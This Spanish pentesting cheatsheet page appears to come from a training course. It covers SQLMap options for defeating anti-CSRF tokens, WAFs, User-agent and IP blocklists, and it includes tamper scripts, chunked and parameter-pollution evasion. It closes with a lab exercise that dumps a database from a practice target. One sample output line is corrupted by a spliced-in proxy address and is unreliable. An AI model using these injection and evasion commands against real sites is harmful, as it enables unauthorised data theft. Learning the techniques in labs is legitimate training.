Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Omisión de tokens anti-CSRF
  • Bypass de Unique ID
  • Bypass de parámetro calculado
  • Ocultar dirección IP
  • Bypass WAF
  • Bypass de listas negras de User-agent
  • Tamper Scripts
  • Bypass varios
  • Ejercicios
  • Pregunta 1
  • Pregunta 2
  • Pregunta 3
  • Pregunta 4

¿Te fue útil?

  1. Explotación de vulnerabilidades
  2. Explotación en Web
  3. SQL Injection
  4. SQLMap

SQLMap - Bypass de protección web

En un escenario ideal, no se implementará ninguna protección en el lado objetivo, por lo que no se evitará la explotación automática. De lo contrario, podemos esperar problemas al ejecutar una herramienta automatizada de cualquier tipo contra dicho objetivo. Sin embargo, se incorporan muchos mecanismos en SQLMap que pueden ayudarnos a eludir con éxito dichas protecciones.


Omisión de tokens anti-CSRF

Una de las primeras líneas de defensa contra el uso de herramientas de automatización es la incorporación de tokens anti-CSRF (es decir, Cross-Site Request Forgery) en todas las solicitudes HTTP, especialmente aquellas generadas como resultado del llenado de formularios web.

En términos más básicos, cada solicitud HTTP en un escenario de este tipo debería tener un valor de token (válido) disponible solo si el usuario realmente visitó y utilizó la página. Si bien la idea original era la prevención de escenarios con enlaces maliciosos, donde el simple hecho de abrir estos enlaces tendría consecuencias no deseadas para los usuarios que iniciaron sesión sin saberlo (por ejemplo, abrir páginas de administrador y agregar un nuevo usuario con credenciales predefinidas), esta característica de seguridad también fortaleció inadvertidamente las aplicaciones contra la automatización (no deseada).

Sin embargo, SQLMap tiene opciones que pueden ayudar a eludir la protección anti-CSRF. En concreto, la opción más importante es --csrf-token. Al especificar el nombre del parámetro de token (que ya debería estar disponible en los datos de la solicitud proporcionada), SQLMap intentará analizar automáticamente el contenido de la respuesta de destino y buscar nuevos valores de token para poder usarlos en la próxima solicitud.

Además, incluso en un caso en el que el usuario no especifica explícitamente el nombre del token a través de --csrf-token, si uno de los parámetros proporcionados contiene alguno de los infijos comunes (es decir csrf, xsrf, token), se le preguntará al usuario si desea actualizarlo en futuras solicitudes:

afsh4ck@kali$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.9}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[*] starting @ 22:18:01 /2020-09-18/

POST parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] y

Bypass de Unique ID

En algunos casos, la aplicación web puede requerir únicamente que se proporcionen valores únicos dentro de parámetros predefinidos. Este mecanismo es similar a la técnica anti-CSRF descrita anteriormente, excepto que no es necesario analizar el contenido de la página web. Por lo tanto, con solo asegurarse de que cada solicitud tenga un valor único para un parámetro predefinido, la aplicación web puede evitar fácilmente los intentos de CSRF y, al mismo tiempo, evitar algunas de las herramientas de automatización. Para esto, se debe utilizar la opción --randomize que apunta al nombre del parámetro que contiene un valor que se debe aleatorizar antes de enviarse:

afsh4ck@kali$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI

URI: http://www.example.com:80/?id=1&rp=99954
URI: http://www.example.com:80/?id=1&rp=87216
URI: http://www.example.com:80/?id=9030&rp=36456
URI: http://www.example.com:80/?id=1.%2C%29%29%27.%28%28%2C%22&rp=16689
URI: http://www.example.com:80/?id=1%27xaFUVK%3C%27%22%3EHKtQrg&rp=40049
URI: http://www.example.com:80/?id=1%29%20AND%209368%3D6381%20AND%20%287422%3D7422&rp=95185

Bypass de parámetro calculado

Otro mecanismo similar es cuando una aplicación web espera que se calcule un valor de parámetro adecuado en función de otros valores de parámetro. La mayoría de las veces, un valor de parámetro debe contener el resumen del mensaje (por ejemplo, h=MD5(id)) de otro. Para evitar esto, se debe utilizar la opción --eval , donde se evalúa un código Python válido justo antes de que se envíe la solicitud al destino:

afsh4ck@kali$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=9061&h=4d7e0d72898ae7ea3593eb5ebf20c744
URI: http://www.example.com:80/?id=1%2C.%2C%27%22.%2C%28.%29&h=620460a56536e2d32fb2f4842ad5a08d
URI: http://www.example.com:80/?id=1%27MyipGP%3C%27%22%3EibjjSu&h=db7c815825b14d67aaa32da09b8b2d42
URI: http://www.example.com:80/?id=1%29%20AND%209978%socks4://177.39.187.70:33283ssocks4://177.39.187.70:332833D1232%20AND%20%284955%3D4955&h=02312acd4ebe69e2528382dfff7fc5cc

Ocultar dirección IP

En caso de que queramos ocultar nuestra dirección IP, o si una determinada aplicación web tiene un mecanismo de protección que pone en lista negra nuestra dirección IP actual, podemos intentar utilizar un proxy o la red de anonimato Tor. Un proxy se puede configurar con la opción --proxy(por ejemplo --proxy="socks4://177.39.187.70:33283"), donde debemos agregar un proxy que funcione.

Además de eso, si tenemos una lista de servidores proxy, podemos proporcionárselos a SQLMap con la opción --proxy-file. De esta manera, SQLMap recorrerá secuencialmente la lista y, en caso de que surja algún problema (por ejemplo, la inclusión en la lista negra de direcciones IP), simplemente saltará de la actual a la siguiente de la lista. La otra opción es el uso de la red Tor para proporcionar una anonimización fácil de usar, donde nuestra IP puede aparecer en cualquier lugar de una gran lista de nodos de salida de Tor. Cuando se instala correctamente en la máquina local, debería haber un servicio de proxy SOCKS4 en el puerto local 9050 o 9150. Al usar el interruptor --tor, SQLMap intentará automáticamente encontrar el puerto local y usarlo adecuadamente.

Si quisiéramos asegurarnos de que Tor se está utilizando correctamente, para evitar un comportamiento no deseado, podríamos usar el modificador --check-tor. En tales casos, SQLMap se conectará a https://check.torproject.org/y comprobará la respuesta para el resultado deseado (es decir, que aparezca dentro Congratulations).


Bypass WAF

Siempre que ejecutamos SQLMap, como parte de las pruebas iniciales, SQLMap envía un payload predefinido de aspecto malicioso utilizando un nombre de parámetro inexistente (por ejemplo, ?pfov=...) para probar la existencia de un WAF (firewall de aplicaciones web). Habrá un cambio sustancial en la respuesta en comparación con el original en caso de que exista alguna protección entre el usuario y el objetivo. Por ejemplo, si se implementa una de las soluciones WAF más populares (ModSecurity), debería haber una respuesta 406 - Not Acceptable después de dicha solicitud.


Bypass de listas negras de User-agent

En caso de problemas inmediatos (por ejemplo, código de error HTTP 5XX desde el inicio) al ejecutar SQLMap, una de las primeras cosas en las que debemos pensar es en la posible inclusión en la lista negra del User-agent predeterminado utilizado por SQLMap (por ejemplo User-agent: sqlmap/1.4.9 (http://sqlmap.org)).

Esto es fácil de evitar con el modificador --random-agent, que cambia el agente de usuario predeterminado con un valor elegido aleatoriamente de un gran conjunto de valores utilizados por los navegadores.

Nota: Si se detecta algún tipo de protección durante la ejecución, podemos esperar problemas con el objetivo, incluso con otros mecanismos de seguridad. La razón principal es el continuo desarrollo y las nuevas mejoras en dichas protecciones, que dejan cada vez menos margen de maniobra a los atacantes.


Tamper Scripts

Por último, uno de los mecanismos más populares implementados en SQLMap para eludir las soluciones WAF/IPS son los llamados Tamper Scripts o de "manipulación". Los scripts de manipulación son un tipo especial de scripts (Python) escritos para modificar las solicitudes justo antes de enviarlas al destino, en la mayoría de los casos para eludir alguna protección.

Los scripts de manipulación pueden modificar cualquier parte de la solicitud, aunque la mayoría cambia el contenido del payload. Los scripts de manipulación más destacados son los siguientes:

Script de manipulación

Descripción

0eunion

Reemplaza instancias de UNIÓN con e0UNIÓN

base64encode

Codifica en Base64 todos los caracteres en un payload determinado

between

Reemplaza el operador mayor que ( >) con NOT BETWEEN 0 AND #y el operador igual ( =) con BETWEEN # AND #

commalesslimit

Reemplaza instancias (MySQL) como LIMIT M, N con su contraparte LIMIT N OFFSET M

equaltolike

Reemplaza todas las apariciones del operador igual ( =) con su contraparte LIKE

halfversionedmorekeywords

Agrega un comentario versionado (MySQL) antes de cada palabra clave

modsecurityversioned

Incluye una consulta completa con comentarios versionados (MySQL)

modsecurityzeroversioned

Admite consultas completas con comentarios con versión cero (MySQL)

percentage

Agrega un signo de porcentaje ( %) delante de cada carácter (por ejemplo, SELECT -> %S%E%L%E%C%T)

plus2concat

Reemplaza el operador más ( +) con su contraparte CONCAT() de la función (MsSQL)

randomcase

Reemplaza cada carácter de palabra clave con un valor de mayúsculas y minúsculas aleatorio (por ejemplo, SELECT -> SEleCt)

space2comment

Reemplaza el carácter de espacio ( ) con comentarios `/

space2dash

Reemplaza el carácter de espacio ( ) con un comentario de guión ( --) seguido de una cadena aleatoria y una nueva línea ( )

space2hash

Reemplaza (MySQL) las instancias del carácter de espacio ( ) con un carácter de almohadilla ( #) seguido de una cadena aleatoria y una nueva línea ( )

space2mssqlblank

Reemplaza (MsSQL) instancias del carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

space2plus

Reemplaza el carácter de espacio ( ) por el signo más ( +)

space2randomblank

Reemplaza el carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

symboliclogical

Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas ( &&y ||)

versionedkeywords

Encierra cada palabra clave que no sea de función con un comentario versionado (MySQL)

versionedmorekeywords

Encierra cada palabra clave con un comentario versionado (MySQL)

Para obtener una lista completa de los scripts de manipulación implementados, junto con la descripción que se menciona anteriormente, se puede utilizar el switch --list-tampers. También podemos desarrollar scripts de manipulación personalizados para cualquier tipo de ataque personalizado, como un SQLi de segundo orden.


Bypass varios

Además de otros mecanismos de omisión de protección, hay dos más que se deben mencionar. El primero es la codificación de transferencia Chunked, que se activa mediante el switch --chunked, que divide el cuerpo de la solicitud POST en los llamados "fragmentos". Las palabras clave SQL incluidas en la lista negra se dividen entre fragmentos de manera que la solicitud que las contiene pueda pasar desapercibida.

El otro mecanismo de derivación es el HTTP parameter pollution( HPP), donde los payloads se dividen de manera similar al caso de --chunked entre diferentes valores con el mismo parámetro nombrado (por ejemplo, ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...), que son concatenados por la plataforma de destino si la admite (por ejemplo, ASP).


Ejercicios

Objetivo: 94.237.63.227:56193

Pregunta 1

¿Cuál es el contenido de la tabla flag8? (Caso n.° 8)

Tenemos que detectar y explotar un SQLi en el parámetro id que se envía por POST, teniendo en cuenta la protección anti-CSRF:

afsh4ck@kali$ sqlmap -u "http://94.237.63.227:56193/case8.php" --data="id=1&t0ken=DFlZYVKEvvBQtlVSvsHdsWABHCPPpQvtoBMuLSFmuw" --csrf-token="t0ken" --dump --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:42:07 /2024-08-14/

[00:42:08] [INFO] resuming back-end DBMS 'mysql' 
[00:42:08] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ppslp7n15n6...560bnp2rbe'). Do you want to use those [Y/n] Y
[00:42:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
